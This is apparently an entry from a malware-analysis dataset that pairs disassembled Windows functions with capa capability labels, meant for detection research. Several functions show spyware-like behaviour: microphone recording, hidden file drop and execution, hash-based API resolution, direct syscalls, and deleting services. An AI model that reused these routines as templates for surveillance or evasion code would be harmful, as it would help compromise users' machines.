joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408550
Capabilities:
Check if file exists

Disassembly:
push esi
push edi
push str.APPDATA
call fcn.00420d1e
add esp, 4
mov edi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408564
sub eax, edx
mov esi, eax
cmp byte [0x444a85], cl
jne 0x408583
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [0x444b3c]
mov eax, dword [eax + 0x90]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408591
sub eax, edx
lea ecx, [eax + esi + 0x10]
push ecx
call fcn.0041ff97
add esp, 4
cmp byte [0x444a85], 0
mov esi, eax
jne 0x4085be
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov eax, dword [edx + 0x90]
push eax
push edi
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
pop edi
setne al
pop esi
ret

Function at 0x4085f0
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x13c
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x138], eax
push ebx
push esi
push edi
call fcn.00401330
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40863a
push edi
call fcn.004232df
add esp, 4
push edi
call fcn.00401fe0
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408640
sub eax, edx
add eax, 8
push eax
call fcn.0041ff97
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [esp + 0x20], esi
call fcn.00420bd5
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push esi
call fcn.00422c32
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
je 0x408755
cmp eax, 0xffffffff
je 0x408755
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408698
sub eax, edx
mov edx, eax
lea eax, [esp + 0x3c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086b0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
add esp, 4
lea edx, [esp + 0x3c]
push edx
push edi
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
lea eax, [esp + 0x4c]
push str..dll
push eax
call fcn.00422b30
add esp, 0x18
test eax, eax
je 0x4086f8
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x408721
lea ecx, [esp + 0x3c]
push str..exe
push ecx
call fcn.00422b30
add esp, 8
test eax, eax
je 0x408721
push 5
push 0
push 0x43c488
push esi
push str.open
push 0
call ebx
push esi
call fcn.00420c59
mov eax, dword [esp + 0x14]
add esp, 4
lea edx, [esp + 0x18]
push edx
push eax
call fcn.00422d59
add esp, 8
test eax, eax
je 0x408693
mov ecx, dword [esp + 0x10]
push ecx
call fcn.00422e87
mov esi, dword [esp + 0x18]
add esp, 4
push esi
call fcn.00420c59
add esp, 4
push edi
call fcn.00420c59
mov ecx, dword [esp + 0x148]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
Function at 0x408930
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
call fcn.00407350
call fcn.00407830
call fcn.004076e0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x408780
push 0
push 0
call esi
cmp byte [0x444a87], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x40898d
lea ebx, [ebx]
push 0x32
call edi
cmp byte [0x444a87], 0
je 0x408980
call fcn.00407dc0
push 0
push 0
push 0
push 0x408340
push 0
push 0
call esi
call fcn.00408550
test al, al
je 0x4089b9
lea esp, [esp]
push 0x493e0
call edi
jmp 0x4089b0
call fcn.00406360
push 0
push 0
push 0
push 0x406940
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406500
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4065c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406bf0
push 0
push 0
call esi
call fcn.004085f0
push 0
push 0
push 0
push 0x408ac0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408db0
push 0
push 0
call esi
mov eax, dword [ebp + 8]
push 0
push 0
push eax
push 0x409c30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409c90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409ed0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a180
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a8b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40b2f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40c340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40cd20
push 0
push 0
call esi
push 0x493e0
call edi
jmp 0x408ab3

Function at 0x409e40
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409e45
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041ff97
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420bd5
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.00420c59
add esp, 4
pop edi
pop esi
ret
Function at 0x40a740
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a8a8
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a760
sub eax, edx
push eax
call fcn.0041ff97
mov esi, eax
mov eax, edi
add esp, 4
mov dword [ebp - 4], esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a780
sub eax, ecx
push eax
call fcn.0041ff97
push eax
push esi
push 0
push 0
push edi
mov dword [ebp - 8], eax
call fcn.00423615
add esp, 0x18
call fcn.004015f0
cmp byte [0x444a85], 0
mov dword [ebp - 0xc], eax
jne 0x40a7be
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [0x444b3c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7d0
sub eax, edx
mov ebx, eax
call fcn.00405f40
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7e3
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7f3
sub eax, esi
add eax, edx
lea ecx, [eax + ebx + 0x80]
push ecx
call fcn.0041ff97
add esp, 4
cmp byte [0x444a85], 0
mov esi, eax
jne 0x40a825
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [0x444b3c]
mov ebx, dword [edx + 0x94]
push eax
push ecx
call fcn.00405f40
push eax
push ebx
push str._s_comp_sext_s._s
push esi
call fcn.00420bd5
mov ebx, dword [ebp - 0xc]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 0x1c
test eax, eax
jne 0x40a887
nop
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a887
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 4
test eax, eax
je 0x40a860
mov edx, dword [ebp - 4]
push edx
call fcn.00420c59
mov eax, dword [ebp - 8]
push eax
call fcn.00420c59
push ebx
call fcn.00420c59
push esi
call fcn.00420c59
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420bc6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441480]
jne 0x420bd0
repz ret
jmp fcn.00425d71

Function at 0x42d139
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x42d160
call fcn.00426e1d
mov dword [eax], esi
call fcn.00426e0a
push 0x16
pop esi
mov dword [eax], esi
call fcn.00426db8
mov eax, esi
jmp 0x42d1b5
test dword [ebp + 0xc], 0xfffffff9
jne 0x42d146
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42d18d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00426e30
pop ecx
call fcn.00426e0a
mov eax, dword [eax]
jmp 0x42d1b5
test al, 0x10
jne 0x42d1b3
test al, 1
je 0x42d1b3
test byte [ebp + 0xc], 2
je 0x42d1b3
call fcn.00426e1d
mov dword [eax], 5
call fcn.00426e0a
mov dword [eax], 0xd
jmp 0x42d184
xor eax, eax
pop esi
pop ebp
ret
Function at 0x433a01
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00426e53
and dword [ebp - 0x14], 0
cmp dword [0x444984], 0
mov dword [ebp - 0x18], eax
jne 0x433ab4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x433b5c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x433b5c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x444984], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x444988], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44498c], eax
call edi
push eax
call esi
mov dword [0x444994], eax
test eax, eax
je 0x433ab4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x444990], eax
mov eax, dword [0x444990]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x433b0d
cmp dword [0x444994], ecx
je 0x433b0d
push eax
call esi
push dword [0x444994]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x433b0d
test ebx, ebx
je 0x433b0d
call edi
test eax, eax
je 0x433b04
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x433b04
test byte [ebp - 8], 1
jne 0x433b0d
or dword [ebp + 0x10], 0x200000
jmp 0x433b40
mov eax, dword [0x444988]
cmp eax, dword [ebp - 0x18]
je 0x433b40
push eax
call esi
test eax, eax
je 0x433b40
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x433b40
mov eax, dword [0x44498c]
cmp eax, dword [ebp - 0x18]
je 0x433b40
push eax
call esi
test eax, eax
je 0x433b40
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x444984]
call esi
test eax, eax
je 0x433b5c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x433b5e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420bc6
leave
ret
Function at 0x401405
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x78
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x24]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x20]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp 0x40152b
mov eax, dword [ebp - 8]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0xfa7cb89
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
call fcn.0040102a
movsx eax, al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
lea ecx, [eax*8]
mov eax, dword [ebp - 0x30]
mov edx, 0
div dword [ebp - 0x2c]
mov eax, edx
imul eax, ecx
add dword [ebp - 0x34], eax
rol dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x38]
sub dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x2c], eax
add dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test al, al
jne 0x4014a1
mov eax, dword [ebp - 0x34]
cmp dword [ebp + 0x10], eax
sete al
test al, al
je 0x401527
mov eax, dword [ebp - 8]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x18]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 4], eax
add dword [ebp - 8], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x18]
cmp dword [ebp - 8], eax
jb 0x40146e
mov eax, dword [ebp - 4]
leave
ret
Function at 0x692370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x69238e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x6bb074
push ecx
mov edi, eax
call fcn.006a6198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6923cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.006a602e
push esi
call fcn.006a5fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x695850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6958ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x6c0720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6958ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006a61e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6958ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x6c0720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x69592a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.006a7082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x695957
mov word [eax], si
add eax, 2
push eax
call fcn.006a7030
add esp, 4
jmp 0x695959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6958ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6958b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x695ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x696080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x6960c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x6bb458
push ecx
call fcn.006a61e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006a61e1
add esp, 0x10
jmp 0x6960d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.006a620b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.006a5dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00696050
mov eax, dword [0x6c0728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x69613b
push esi
call fcn.00695fb0
add esp, 4
mov dword [0x6c0728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x69614c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00695ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x699440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x6994b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x69948e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x699471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x69947e
add edx, ecx
cmp ebx, edx
jb 0x69948a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x699467
xor ecx, ecx
jmp 0x6994a2
test eax, eax
jne 0x699492
xor ecx, ecx
jmp 0x6994a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.006993c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x6998f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x699921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x699946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x69996e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x699993
push ecx
push esi
call fcn.006994c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x69ac00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x69ac4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x69ac2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x69ac38
add edx, eax
cmp ebx, edx
jb 0x69ac46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x69ac21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x69ac50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x69ac70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x69acb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x69ac9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x69aca8
add edx, ecx
cmp ebx, edx
jb 0x69acb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x69ac91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x69af60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.006a7145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x69affb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x69afdd
lea eax, [esp + 0x18]
push eax
jmp 0x69afe2
push 0x6c0720
call fcn.006a6fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x69afb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x69af40
push 4
push ecx
push eax
call fcn.006a743f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x69b310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.006a7145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x69b3ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x69b38d
lea eax, [esp + 0x18]
push eax
jmp 0x69b392
push 0x6c0720
call fcn.006a6fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x69b360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x69af40
push 4
push ecx
push eax
call fcn.006a743f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x69cf20
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ecx
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
mov dword [esp + 4], ebp
je 0x69cfd7
mov eax, dword [esp + 0xc]
push esi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x69cfcf
push ebx
push edi
push 0x6c0770
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x69cfae
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x6c0770
push esi
call ebx
test eax, eax
je 0x69cfae
mov ebp, 3
cmp dword [0x6c0774], ebp
jne 0x69cfaa
push 0x3e8
call edi
push 0x6c0770
push esi
call ebx
test eax, eax
jne 0x69cf8f
mov ebp, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call ebx
test eax, eax
jne 0x69cfc6
push 0x64
call edi
push esi
call ebx
test eax, eax
je 0x69cfbb
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
pop ecx
ret